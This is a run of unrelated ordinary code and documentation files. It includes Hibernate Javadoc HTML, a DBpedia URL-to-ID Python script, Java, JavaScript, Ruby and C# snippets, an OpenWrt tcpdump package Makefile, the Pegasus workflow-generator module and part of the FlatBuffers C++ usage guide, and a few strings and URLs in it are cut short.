target="packageFrame">org.hibernate.proxy.pojo.javassist</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/secure/package-frame.html" target="packageFrame">org.hibernate.secure</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/sql/package-frame.html" target="packageFrame">org.hibernate.sql</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/stat/package-frame.html" target="packageFrame">org.hibernate.stat</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/tool/hbm2ddl/package-frame.html" target="packageFrame">org.hibernate.tool.hbm2ddl</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/tool/instrument/package-frame.html" target="packageFrame">org.hibernate.tool.instrument</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/tool/instrument/cglib/package-frame.html" target="packageFrame">org.hibernate.tool.instrument.cglib</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/tool/instrument/javassist/package-frame.html" target="packageFrame">org.hibernate.tool.instrument.javassist</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/transaction/package-frame.html" target="packageFrame">org.hibernate.transaction</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/transform/package-frame.html" target="packageFrame">org.hibernate.transform</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/tuple/package-frame.html" target="packageFrame">org.hibernate.tuple</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/tuple/component/package-frame.html" target="packageFrame">org.hibernate.tuple.component</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/tuple/entity/package-frame.html" target="packageFrame">org.hibernate.tuple.entity</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/type/package-frame.html" target="packageFrame">org.hibernate.type</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/usertype/package-frame.html" target="packageFrame">org.hibernate.usertype</A></FONT> <BR> <FONT CLASS="FrameItemFont"><A HREF="org/hibernate/util/package-frame.html" target="packageFrame">org.hibernate.util</A></FONT> <BR> </TD> </TR> </TABLE> <P> &nbsp; </BODY> </HTML>
import optparse import pickle #converts urls to wiki_id parser = optparse.OptionParser() parser.add_option('-i','--input', dest = 'input_file', help = 'input_file') parser.add_option('-o','--output', dest = 'output_file', help = 'output_file') (options, args) = parser.parse_args() if options.input_file is None: options.input_file = raw_input('Enter input file:') if options.output_file is None: options.output_file = raw_input('Enter output file:') input_file = options.input_file output_file = options.output_file #define the dictionary url:wiki_id wiki_from_url_dict = {} with open('../../datasets/dbpedia/page_ids_en_2016.ttl','r') as f: for line in f: line = line.split(' ') if line[0] == ' continue url = line[0] wiki_id_list = line[2].split('\"') wiki_id = wiki_id_list[1] print(url, wiki_id) wiki_from_url_dict[url] = int(wiki_id) output_file_write = open(output_file,'w') #iterate through the page links and turn urls into wiki_ids max_wiki_id = max(wiki_from_url_dict.values()) + 1 local_id = {} count = 0 with open(input_file) as page_links: for line in page_links: line = line.split(' ') if line[0] == ' continue url_1 = line[0] url_2 = line[2] #if wiki_id not found, assign an id = max_wiki_id and increment max_wiki_id try: wiki_id1 = wiki_from_url_dict[url_1] #first entity has wiki_id try: wiki_id2 = wiki_from_url_dict[url_2] #first and second entities have wiki_ids except (KeyError, IndexError): #first entity has wiki_id, second entity doesn't try: #check if a local id has already been assigned wiki_id2 = local_id[url_2] except (KeyError, IndexError): wiki_id2 = max_wiki_id local_id[url_2] = wiki_id2 max_wiki_id +=1 except (KeyError, IndexError): #first entity doesn't have wiki_id try: wiki_id1 = local_id[url_1] except (KeyError, IndexError): wiki_id1 = max_wiki_id local_id[url_1] = wiki_id1 max_wiki_id += 1 try: #first entity doesn't have wiki_id, second entity has it wiki_id2 = wiki_from_url_dict[url_2] except (KeyError, IndexError): #neither first nor second entity have wiki_ids try: #check if a local id has already been assigned wiki_id2 = local_id[url_2] except (KeyError, IndexError): wiki_id2 = max_wiki_id local_id[url_2] = wiki_id2 max_wiki_id +=1 output_file_write.write('%d %d\n' %(wiki_id1,wiki_id2)) print count count += 1 output_file_write.close() pickle.dump(local_id,open('../../datasets/dbpedia/<API key>.p','wb'))
describe('app.components.SaveProfileModal', function() { beforeEach(function () { module('app.components', 'ui.bootstrap', 'gettext'); }); describe('service', function () { var callbackObject; var saveSpy; var doNotSaveSpy; var cancelSpy; beforeEach(function () { bard.inject('SaveProfileModal', '$rootScope', '$document'); callbackObject = { save: function () {}, doNotSave: function () {}, cancel: function () {}, } saveSpy = sinon.spy(callbackObject, "save"); doNotSaveSpy = sinon.spy(callbackObject, "doNotSave"); cancelSpy = sinon.spy(callbackObject, "cancel"); }); xit('should show the modal', function () { var modal = SaveProfileModal.showModal(callbackObject.save, callbackObject.doNotSave, callbackObject.cancel); $rootScope.$digest(); var saveDialog = $document.find('.save-profile-modal'); expect(saveDialog.length).to.eq(1); var saveButton = $document.find('.save-profile-modal .btn.btn-primary'); expect(saveButton.length).to.eq(1); eventFire(saveButton[0], 'click'); $rootScope.$digest(); expect(saveSpy).to.have.been.called; var closeButtons = $document.find('.save-profile-modal .btn.btn-default'); expect(closeButtons.length).to.eq(2); eventFire(closeButtons[0], 'click'); $rootScope.$digest(); expect(cancelSpy).to.have.been.called; eventFire(closeButtons[1], 'click'); $rootScope.$digest(); expect(doNotSaveSpy).to.have.been.called; }); }); });
package grok.core; import com.fasterxml.jackson.annotation.JsonCreator; import com.fasterxml.jackson.annotation.JsonProperty; import com.google.auto.value.AutoValue; @AutoValue public abstract class Image { @JsonCreator public static Image of(@JsonProperty("id") String id, @JsonProperty("title") String title, @JsonProperty("url") String url) { return builder().id(id) .title(title) .url(url) .build(); } public static Builder builder() { return new AutoValue_Image.Builder(); } Image() {} @JsonProperty public abstract String id(); @JsonProperty public abstract String title(); @JsonProperty public abstract String url(); @AutoValue.Builder public abstract static class Builder { Builder() {} public abstract Builder id(String value); @JsonProperty public abstract Builder title(String value); @JsonProperty public abstract Builder url(String value); public abstract Image build(); } }
package com.mgaetan89.showsrage.fragment; import org.junit.After; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.Parameterized; import java.util.Arrays; import java.util.Collection; import static org.junit.Assert.assertTrue; import static org.mockito.Mockito.spy; import static org.mockito.Mockito.verify; @RunWith(Parameterized.class) public class <API key> { @Parameterized.Parameter(0) public String newText; private ShowsFragment fragment; @Before public void before() { this.fragment = spy(new ShowsFragment()); } @Test public void onQueryTextChange() { try { assertTrue(this.fragment.onQueryTextChange(this.newText)); } catch (<API key> exception) { // <API key>.getInstance(Context) returns null in tests } verify(this.fragment).sendFilterMessage(); } @After public void after() { this.fragment = null; } @Parameterized.Parameters public static Collection<Object[]> data() { return Arrays.asList(new Object[][]{ {null}, {""}, {" "}, {"Search Query"}, }); } }
# <API key>: true class <API key> < ActiveRecord::Migration[4.2] def change create_table :<API key> do |t| t.integer :snapshot_id, null: false t.integer :attribute_value_id, null: false t.timestamps null: false end end end
include $(TOPDIR)/rules.mk PKG_NAME:=tcpdump PKG_VERSION:=4.2.1 PKG_RELEASE:=3 PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz PKG_SOURCE_URL:=http: http://ftp.gwdg.de/pub/misc/tcpdump/ \ http: http: PKG_MD5SUM:=<API key> PKG_BUILD_DIR:=$(BUILD_DIR)/$(PKG_NAME)-$(BUILD_VARIANT)/$(PKG_NAME)-$(PKG_VERSION) PKG_BUILD_PARALLEL:=1 PKG_MAINTAINER:=Felix Fietkau <nbd@openwrt.org> PKG_INSTALL:=1 include $(INCLUDE_DIR)/package.mk define Package/tcpdump/default SECTION:=net CATEGORY:=Network DEPENDS:=+libpcap TITLE:=Network monitoring and data acquisition tool URL:=http: endef define Package/tcpdump $(Package/tcpdump/default) VARIANT:=full endef define Package/tcpdump-mini $(Package/tcpdump/default) TITLE+= (minimal version) VARIANT:=mini endef CONFIGURE_ARGS += \ --without-crypto ifeq ($(CONFIG_IPV6),y) CONFIGURE_ARGS += \ --enable-ipv6 endif TARGET_CFLAGS += -ffunction-sections -fdata-sections TARGET_LDFLAGS += -Wl,--gc-sections CONFIGURE_VARS += \ BUILD_CC="$(TARGET_CC)" \ HOSTCC="$(HOSTCC)" \ <API key>="no" \ ac_cv_linux_vers=$(LINUX_VERSION) \ <API key>=no \ ac_cv_lib_rpc_main=no \ <API key>="" MAKE_FLAGS := ifeq ($(BUILD_VARIANT),mini) TARGET_CFLAGS += -DTCPDUMP_MINI CONFIGURE_ARGS += --disable-smb MAKE_FLAGS += TCPDUMP_MINI=1 endif MAKE_FLAGS += \ CCOPT="$(TARGET_CFLAGS)" INCLS="-I. $(TARGET_CPPFLAGS)" define Package/tcpdump/install $(INSTALL_DIR) $(1)/usr/sbin $(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/sbin/tcpdump $(1)/usr/sbin/ endef Package/tcpdump-mini/install = $(Package/tcpdump/install) $(eval $(call BuildPackage,tcpdump)) $(eval $(call BuildPackage,tcpdump-mini))
package entities; import java.io.Serializable; import javax.persistence.Basic; import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.GeneratedValue; import javax.persistence.GenerationType; import javax.persistence.Id; import javax.persistence.JoinColumn; import javax.persistence.Lob; import javax.persistence.ManyToOne; import javax.persistence.NamedQueries; import javax.persistence.NamedQuery; import javax.persistence.Table; import javax.validation.constraints.NotNull; import javax.validation.constraints.Size; import javax.xml.bind.annotation.XmlRootElement; /** * * @author Maarten De Weerdt */ @Entity @Table(name = "Product") @XmlRootElement @NamedQueries({ @NamedQuery(name = "Product.findAll", query = "SELECT p FROM Product p") , @NamedQuery(name = "Product.findById", query = "SELECT p FROM Product p WHERE p.id = :id") , @NamedQuery(name = "Product.findByPrijs", query = "SELECT p FROM Product p WHERE p.prijs = :prijs") , @NamedQuery(name = "Product.findByCategorie", query = "SELECT p FROM Product p WHERE p.categorieNaam = :categorieNaam") }) public class Product implements Serializable { private static final long serialVersionUID = 1L; @Id @GeneratedValue(strategy = GenerationType.IDENTITY) @Basic(optional = false) @Column(name = "ID") private Integer id; @Basic(optional = false) @NotNull @Lob @Size(min = 1, max = 65535) @Column(name = "Naam") private String naam; @Basic(optional = false) @NotNull @Lob @Size(min = 1, max = 65535) @Column(name = "Omschrijving") private String omschrijving; @Basic(optional = false) @NotNull @Column(name = "Prijs") private double prijs; @Basic(optional = false) @NotNull @Lob @Size(min = 1, max = 65535) @Column(name = "Afbeelding") private String afbeelding; @Lob @Size(max = 65535) @Column(name = "Informatie") private String informatie; @JoinColumn(name = "CategorieNaam", <API key> = "CategorieNaam") @ManyToOne(optional = false) private Categorie categorieNaam; public Product() { } public Product(Integer id) { this.id = id; } public Product(Integer id, String naam, String omschrijving, double prijs, String afbeelding) { this.id = id; this.naam = naam; this.omschrijving = omschrijving; this.prijs = prijs; this.afbeelding = afbeelding; } public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getNaam() { return naam; } public void setNaam(String naam) { this.naam = naam; } public String getOmschrijving() { return omschrijving; } public void setOmschrijving(String omschrijving) { this.omschrijving = omschrijving; } public double getPrijs() { return prijs; } public void setPrijs(double prijs) { this.prijs = prijs; } public String getAfbeelding() { return afbeelding; } public void setAfbeelding(String afbeelding) { this.afbeelding = afbeelding; } public String getInformatie() { return informatie; } public void setInformatie(String informatie) { this.informatie = informatie; } public Categorie getCategorieNaam() { return categorieNaam; } public void setCategorieNaam(Categorie categorieNaam) { this.categorieNaam = categorieNaam; } @Override public int hashCode() { int hash = 0; hash += (id != null ? id.hashCode() : 0); return hash; } @Override public boolean equals(Object object) { // TODO: Warning - this method won't work in the case the id fields are not set if (!(object instanceof Product)) { return false; } Product other = (Product) object; if ((this.id == null && other.id != null) || (this.id != null && !this.id.equals(other.id))) { return false; } return true; } @Override public String toString() { return "entities.Product[ id=" + id + " ]"; } }
.home { display: flex; flex-direction: column; justify-content: center; align-items: center; padding-top: 5rem; text-align: center; color: $colorTheme; } .link { margin-bottom: $s1; }
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using System.Windows.Forms; namespace ungarc0r { static class Program { <summary> Der Haupteinstiegspunkt für die Anwendung. </summary> [STAThread] static void Main() { Application.EnableVisualStyles(); Application.<API key>(false); Application.Run(new Form1()); } } }
import errno import os import pwd import shutil import sys from jinja2 import Environment, FileSystemLoader class TutorialEnv: LOCAL_MACHINE = ("Local Machine Condor Pool", "submit-host") USC_HPCC_CLUSTER = ("USC HPCC Cluster", "usc-hpcc") OSG_FROM_ISI = ("OSG from ISI submit node", "osg") XSEDE_BOSCO = ("XSEDE, with Bosco", "xsede-bosco") BLUEWATERS_GLITE = ("Bluewaters, with Glite", "bw-glite") TACC_WRANGLER = ("TACC Wrangler with Glite", "wrangler-glite") OLCF_TITAN = ("OLCF TITAN with Glite", "titan-glite") <API key> = ( "OLCF Summit from Kubernetes using BOSCO", "summit-kub-bosco", ) class TutorialExample: PROCESS = ("Process", "process") PIPELINE = ("Pipeline", "pipeline") SPLIT = ("Split", "split") MERGE = ("Merge", "merge") EPA = ("EPA (requires R)", "r-epa") DIAMOND = ("Diamond", "diamond") CONTAINER = ("Population Modeling using Containers", "population") MPI = ("MPI Hello World", "mpi-hw") def choice(question, options, default): "Ask the user to choose from a short list of named options" while True: sys.stdout.write("{} ({}) [{}]: ".format(question, "/".join(options), default)) answer = sys.stdin.readline().strip() if len(answer) == 0: return default for opt in options: if answer == opt: return answer def yesno(question, default="y"): "Ask the user a yes/no question" while True: sys.stdout.write("{} (y/n) [{}]: ".format(question, default)) answer = sys.stdin.readline().strip().lower() if len(answer) == 0: answer = default if answer == "y": return True elif answer == "n": return False def query(question, default=None): "Ask the user a question and return the response" while True: if default: sys.stdout.write("{} [{}]: ".format(question, default)) else: sys.stdout.write("%s: " % question) answer = sys.stdin.readline().strip().replace(" ", "_") if answer == "": if default: return default else: return answer def optionlist(question, options, default=0): "Ask the user to choose from a list of options" for i, option in enumerate(options): print("%d: %s" % (i + 1, option[0])) while True: sys.stdout.write("%s (1-%d) [%d]: " % (question, len(options), default + 1)) answer = sys.stdin.readline().strip() if len(answer) == 0: return options[default][1] try: optno = int(answer) if optno > 0 and optno <= len(options): return options[optno - 1][1] except Exception: pass class Workflow: def __init__(self, workflowdir, sharedir): self.jinja = Environment(loader=FileSystemLoader(sharedir), trim_blocks=True) self.name = os.path.basename(workflowdir) self.workflowdir = workflowdir self.sharedir = sharedir self.properties = {} self.home = os.environ["HOME"] self.user = pwd.getpwuid(os.getuid())[0] self.tutorial = None self.generate_tutorial = False self.tutorial_setup = None self.compute_queue = "default" self.project = "MYPROJ123" sysname, _, _, _, machine = os.uname() if sysname == "Darwin": self.os = "MACOSX" else: # Probably Linux self.os = sysname.upper() self.arch = machine def copy_template(self, template, dest, mode=0o644): "Copy template to dest in workflowdir with mode" path = os.path.join(self.workflowdir, dest) t = self.jinja.get_template(template) t.stream(**self.__dict__).dump(path) os.chmod(path, mode) def copy_dir(self, src, dest): # self.mkdir(dest) if not src.startswith("/"): src = os.path.join(self.sharedir, src) try: dest = os.path.join(self.workflowdir, dest) shutil.copytree(src, dest) except OSError as exc: # python >2.5 if exc.errno == errno.ENOTDIR: shutil.copy(src, dest) else: raise def mkdir(self, path): "Make relative directory in workflowdir" path = os.path.join(self.workflowdir, path) if not os.path.exists(path): os.makedirs(path) def configure(self): # The tutorial is a special case if yesno("Do you want to generate a tutorial workflow?", "n"): self.config = "tutorial" self.daxgen = "tutorial" self.generate_tutorial = True # determine the environment to setup tutorial for self.tutorial_setup = optionlist( "What environment is tutorial to be setup for?", [ TutorialEnv.LOCAL_MACHINE, TutorialEnv.USC_HPCC_CLUSTER, TutorialEnv.OSG_FROM_ISI, TutorialEnv.XSEDE_BOSCO, TutorialEnv.BLUEWATERS_GLITE, TutorialEnv.TACC_WRANGLER, TutorialEnv.OLCF_TITAN, TutorialEnv.<API key>, ], ) # figure out what example options to provide examples = [ TutorialExample.PROCESS, TutorialExample.PIPELINE, TutorialExample.SPLIT, TutorialExample.MERGE, TutorialExample.EPA, TutorialExample.CONTAINER, ] if self.tutorial_setup != "osg": examples.append(TutorialExample.DIAMOND) if self.tutorial_setup in [ "bw-glite", "wrangler-glite", "titan-glite", "summit-kub-bosco", ]: examples.append(TutorialExample.MPI) self.project = query( "What project your jobs should run under. For example on TACC there are like : TG-DDM160003 ?" ) self.tutorial = optionlist("What tutorial workflow do you want?", examples) self.setup_tutorial() return # Determine which DAX generator API to use self.daxgen = choice( "What DAX generator API do you want to use?", ["python", "perl", "java", "r"], "python", ) # Determine what kind of site catalog we need to generate self.config = optionlist( "What does your computing infrastructure look like?", [ ("Local Machine Condor Pool", "condorpool"), ("Remote Cluster using Globus GRAM", "globus"), ("Remote Cluster using CREAMCE", "creamce"), ("Local PBS Cluster with Glite", "glite"), ("Remote PBS Cluster with BOSCO and SSH", "bosco"), ], ) # Find out some information about the site self.sitename = query("What do you want to call your compute site?", "compute") self.os = choice( "What OS does your compute site have?", ["LINUX", "MACOSX"], self.os ) self.arch = choice( "What architecture does your compute site have?", ["x86_64", "x86"], self.arch, ) def setup_tutorial(self): """ Set up tutorial for pre-defined computing environments :return: """ if self.tutorial_setup is None: self.tutorial_setup = "submit-host" if self.tutorial_setup == "submit-host": self.sitename = "condorpool" elif self.tutorial_setup == "usc-hpcc": self.sitename = "usc-hpcc" self.config = "glite" self.compute_queue = "quick" # for running the whole workflow as mpi job self.properties["pegasus.job.aggregator"] = "mpiexec" elif self.tutorial_setup == "osg": self.sitename = "osg" self.os = "linux" if not yesno("Do you want to use Condor file transfers", "y"): self.staging_site = "isi_workflow" elif self.tutorial_setup == "xsede-bosco": self.sitename = "condorpool" elif self.tutorial_setup == "bw-glite": self.sitename = "bluewaters" self.config = "glite" self.compute_queue = "normal" elif self.tutorial_setup == "wrangler-glite": self.sitename = "wrangler" self.config = "glite" self.compute_queue = "normal" elif self.tutorial_setup == "titan-glite": self.sitename = "titan" self.config = "glite" self.compute_queue = "titan" elif self.tutorial_setup == "summit-kub-bosco": self.sitename = "summit" self.config = "bosco" self.compute_queue = "batch" return def generate(self): os.makedirs(self.workflowdir) if self.tutorial != "population": self.mkdir("input") self.mkdir("output") if self.generate_tutorial: self.copy_template("%s/tc.txt" % self.tutorial, "tc.txt") if self.tutorial == "r-epa": self.copy_template("%s/daxgen.R" % self.tutorial, "daxgen.R") elif self.tutorial != "mpi-hw": self.copy_template("%s/daxgen.py" % self.tutorial, "daxgen.py") if self.tutorial == "diamond": # Executables used by the diamond workflow self.mkdir("bin") self.copy_template( "diamond/transformation.py", "bin/preprocess", mode=0o755 ) self.copy_template( "diamond/transformation.py", "bin/findrange", mode=0o755 ) self.copy_template( "diamond/transformation.py", "bin/analyze", mode=0o755 ) # Diamond input file self.copy_template("diamond/f.a", "input/f.a") elif self.tutorial == "split": # Split workflow input file self.mkdir("bin") self.copy_template("split/pegasus.html", "input/pegasus.html") elif self.tutorial == "r-epa": # Executables used by the R-EPA workflow self.mkdir("bin") self.copy_template( "r-epa/epa-wrapper.sh", "bin/epa-wrapper.sh", mode=0o755 ) self.copy_template("r-epa/setupvar.R", "bin/setupvar.R", mode=0o755) self.copy_template( "r-epa/weighted.average.R", "bin/weighted.average.R", mode=0o755 ) self.copy_template( "r-epa/cumulative.percentiles.R", "bin/cumulative.percentiles.R", mode=0o755, ) elif self.tutorial == "population": self.copy_template("%s/Dockerfile" % self.tutorial, "Dockerfile") self.copy_template("%s/Singularity" % self.tutorial, "Singularity") self.copy_template( "%s/tc.txt.containers" % self.tutorial, "tc.txt.containers" ) self.copy_dir("%s/scripts" % self.tutorial, "scripts") self.copy_dir("%s/data" % self.tutorial, "input") # copy the mpi wrapper, c code and mpi elif self.tutorial == "mpi-hw": # copy the mpi wrapper, c code and mpi example # Executables used by the mpi-hw workflow self.mkdir("bin") self.copy_template( "%s/pegasus-mpi-hw.c" % self.tutorial, "pegasus-mpi-hw.c" ) self.copy_template("%s/Makefile" % self.tutorial, "Makefile") self.copy_template("%s/daxgen.py.template" % self.tutorial, "daxgen.py") self.copy_template( "%s/<API key>" % self.tutorial, "bin/<API key>", mode=0o755, ) self.copy_template("split/pegasus.html", "input/f.in") else: self.copy_template("tc.txt", "tc.txt") if self.daxgen == "python": self.copy_template("daxgen/daxgen.py", "daxgen.py") elif self.daxgen == "perl": self.copy_template("daxgen/daxgen.pl", "daxgen.pl") elif self.daxgen == "java": self.copy_template("daxgen/DAXGen.java", "DAXGen.java") elif self.daxgen == "r": self.copy_template("daxgen/daxgen.R", "daxgen.R") else: assert False self.copy_template("sites.xml", "sites.xml") self.copy_template("plan_dax.sh", "plan_dax.sh", mode=0o755) self.copy_template("plan_cluster_dax.sh", "plan_cluster_dax.sh", mode=0o755) self.copy_template("generate_dax.sh", "generate_dax.sh", mode=0o755) self.copy_template("README.md", "README.md") self.copy_template("rc.txt", "rc.txt") self.copy_template("pegasus.properties", "pegasus.properties") if self.tutorial == "diamond": if self.tutorial_setup == "wrangler-glite": self.copy_template( "pmc-wrapper.wrangler", "bin/pmc-wrapper", mode=0o755 ) elif self.tutorial_setup == "titan-glite": self.copy_template("pmc-wrapper.titan", "bin/pmc-wrapper", mode=0o755) elif self.tutorial_setup == "wrangler-glite": self.copy_template( "pmc-wrapper.wrangler", "bin/pmc-wrapper", mode=0o755 ) elif self.tutorial_setup == "summit-kub-bosco": self.copy_template("pmc-wrapper.summit", "bin/pmc-wrapper", mode=0o755) if self.generate_tutorial: sys.stdout.write( "Pegasus Tutorial setup for example workflow - %s for execution on %s in directory %s\n" % (self.tutorial, self.tutorial_setup, self.workflowdir) ) def usage(): print("Usage: %s WORKFLOW_DIR" % sys.argv[0]) def main(pegasus_share_dir): if len(sys.argv) != 2: usage() exit(1) if "-h" in sys.argv: usage() exit(1) workflowdir = sys.argv[1] if os.path.exists(workflowdir): print("ERROR: WORKFLOW_DIR '%s' already exists" % workflowdir) exit(1) workflowdir = os.path.abspath(workflowdir) sharedir = os.path.join(pegasus_share_dir, "init") w = Workflow(workflowdir, sharedir) w.configure() w.generate()
<!DOCTYPE html PUBLIC "- <html xmlns="http: <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <meta name="generator" content="Doxygen 1.8.7"/> <title>FlatBuffers: Use in C++</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="navtree.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="resize.js"></script> <script type="text/javascript" src="navtree.js"></script> <script type="text/javascript"> $(document).ready(initResizable); $(window).load(resizeHeight); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">FlatBuffers </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.7 --> </div><!-- top --> <div id="side-nav" class="ui-resizable side-nav-resizable"> <div id="nav-tree"> <div id="nav-tree-contents"> <div id="nav-sync" class="sync"></div> </div> </div> <div id="splitbar" style="-moz-user-select:none;" class="ui-resizable-handle"> </div> </div> <script type="text/javascript"> $(document).ready(function(){initNavTree('md__cpp_usage.html','');}); </script> <div id="doc-content"> <div class="header"> <div class="headertitle"> <div class="title">Use in C++ </div> </div> </div><!--header <div class="contents"> <div class="textblock"><p>Assuming you have written a schema using the above language in say <code>mygame.fbs</code> (FlatBuffer Schema, though the extension doesn't matter), you've generated a C++ header called <code>mygame_generated.h</code> using the compiler (e.g. <code>flatc -c mygame.fbs</code>), you can now start using this in your program by including the header. As noted, this header relies on <code>flatbuffers/flatbuffers.h</code>, which should be in your include path.</p> <h3>Writing in C++</h3> <p>To start creating a buffer, create an instance of <code>FlatBufferBuilder</code> which will contain the buffer as it grows:</p> <div class="fragment"><div class="line">FlatBufferBuilder fbb;</div> </div><!-- fragment --><p>Before we serialize a Monster, we need to first serialize any objects that are contained there-in, i.e. we serialize the data tree using depth first, pre-order traversal. This is generally easy to do on any tree structures. For example:</p> <div class="fragment"><div class="line"><span class="keyword">auto</span> name = fbb.CreateString(<span class="stringliteral">&quot;MyMonster&quot;</span>);</div> <div class="line"></div> <div class="line"><span class="keywordtype">unsigned</span> <span class="keywordtype">char</span> inv[] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };</div> <div class="line"><span class="keyword">auto</span> inventory = fbb.CreateVector(inv, 10);</div> </div><!-- fragment --><p><code>CreateString</code> and <code>CreateVector</code> serialize these two built-in datatypes, and return offsets into the serialized data indicating where they are stored, such that <code>Monster</code> below can refer to them.</p> <p><code>CreateString</code> can also take an <code>std::string</code>, or a <code>const char *</code> with an explicit length, and is suitable for holding UTF-8 and binary data if needed.</p> <p><code>CreateVector</code> can also take an <code>std::vector</code>. The offset it returns is typed, i.e. can only be used to set fields of the correct type below. To create a vector of struct objects (which will be stored as contiguous memory in the buffer, use <code><API key></code> instead.</p> <p>To create a vector of nested objects (e.g. tables, strings or other vectors) collect their offsets in a temporary array/vector, then call <code>CreateVector</code> on that (see e.g. the array of strings example in <code>test.cpp</code> <code><API key></code>).</p> <div class="fragment"><div class="line">Vec3 vec(1, 2, 3);</div> </div><!-- fragment --><p><code>Vec3</code> is the first example of code from our generated header. Structs (unlike tables) translate to simple structs in C++, so we can construct them in a familiar way.</p> <p>We have now serialized the non-scalar components of of the monster example, so we could create the monster something like this:</p> <div class="fragment"><div class="line"><span class="keyword">auto</span> mloc = CreateMonster(fbb, &amp;vec, 150, 80, name, inventory, Color_Red, 0, Any_NONE);</div> </div><!-- fragment --><p>Note that we're passing <code>150</code> for the <code>mana</code> field, which happens to be the default value: this means the field will not actually be written to the buffer, since we'll get that value anyway when we query it. This is a nice space savings, since it is very common for fields to be at their default. It means we also don't need to be scared to add fields only used in a minority of cases, since they won't bloat up the buffer sizes if they're not actually used.</p> <p>We do something similarly for the union field <code>test</code> by specifying a <code>0</code> offset and the <code>NONE</code> enum value (part of every union) to indicate we don't actually want to write this field. You can use <code>0</code> also as a default for other non-scalar types, such as strings, vectors and tables.</p> <p>Tables (like <code>Monster</code>) give you full flexibility on what fields you write (unlike <code>Vec3</code>, which always has all fields set because it is a <code>struct</code>). If you want even more control over this (i.e. skip fields even when they are not default), instead of the convenient <code>CreateMonster</code> call we can also build the object field-by-field manually:</p> <div class="fragment"><div class="line">MonsterBuilder mb(fbb);</div> <div class="line">mb.add_pos(&amp;vec);</div> <div class="line">mb.add_hp(80);</div> <div class="line">mb.add_name(name);</div> <div class="line">mb.add_inventory(inventory);</div> <div class="line"><span class="keyword">auto</span> mloc = mb.Finish();</div> </div><!-- fragment --><p>We start with a temporary helper class <code>MonsterBuilder</code> (which is defined in our generated code also), then call the various <code>add_</code> methods to set fields, and <code>Finish</code> to complete the object. This is pretty much the same code as you find inside <code>CreateMonster</code>, except we're leaving out a few fields. Fields may also be added in any order, though orderings with fields of the same size adjacent to each other most efficient in size, due to alignment. You should not nest these Builder classes (serialize your data in pre-order).</p> <p>Regardless of whether you used <code>CreateMonster</code> or <code>MonsterBuilder</code>, you now have an offset to the root of your data, and you can finish the buffer using:</p> <div class="fragment"><div class="line">FinishMonsterBuffer(fbb, mloc);</div> </div><!-- fragment --><p>The buffer is now ready to be stored somewhere, sent over the network, be compressed, or whatever you'd like to do with it. You can access the start of the buffer with <code>fbb.GetBufferPointer()</code>, and it's size from <code>fbb.GetSize()</code>.</p> <p><code>samples/sample_binary.cpp</code> is a complete code sample similar to the code above, that also includes the reading code below.</p> <h3>Reading in C++</h3> <p>If you've received a buffer from somewhere (disk, network, etc.) you can directly start traversing it using:</p> <div class="fragment"><div class="line"><span class="keyword">auto</span> monster = GetMonster(buffer_pointer);</div> </div><!-- fragment --><p><code>monster</code> is of type <code>Monster *</code>, and points to somewhere <em>inside</em> your buffer (root object pointers are not the same as <code>buffer_pointer</code> !). If you look in your generated header, you'll see it has convenient accessors for all fields, e.g.</p> <div class="fragment"><div class="line">assert(monster-&gt;hp() == 80);</div> <div class="line">assert(monster-&gt;mana() == 150); <span class="comment">// default</span></div> <div class="line">assert(strcmp(monster-&gt;name()-&gt;c_str(), <span class="stringliteral">&quot;MyMonster&quot;</span>) == 0);</div> </div><!-- fragment --><p>These should all be true. Note that we never stored a <code>mana</code> value, so it will return the default.</p> <p>To access sub-objects, in this case the <code>Vec3</code>:</p> <div class="fragment"><div class="line"><span class="keyword">auto</span> pos = monster-&gt;pos();</div> <div class="line">assert(pos);</div> <div class="line">assert(pos-&gt;z() == 3);</div> </div><!-- fragment --><p>If we had not set the <code>pos</code> field during serialization, it would be <code>NULL</code>.</p> <p>Similarly, we can access elements of the inventory array:</p> <div class="fragment"><div class="line"><span class="keyword">auto</span> inv = monster-&gt;inventory();</div> <div class="line">assert(inv);</div> <div class="line">assert(inv-&gt;Get(9) == 9);</div> </div><!-- fragment --><h3>Storing maps / dictionaries in a FlatBuffer</h3> <p>FlatBuffers doesn't support maps natively, but there is support to emulate their behavior with vectors and binary search, which means you can have fast lookups directly from a FlatBuffer without having to unpack your data into a <code>std::map</code> or similar.</p> <p>To use it:</p><ul> <li>Designate one of the fields in a table as they "key" field. You do this by setting the <code>key</code> attribute on this field, e.g. <code>name:string (key)</code>. You may only have one key field, and it must be of string or scalar type.</li> <li>Write out tables of this type as usual, collect their offsets in an array or vector.</li> 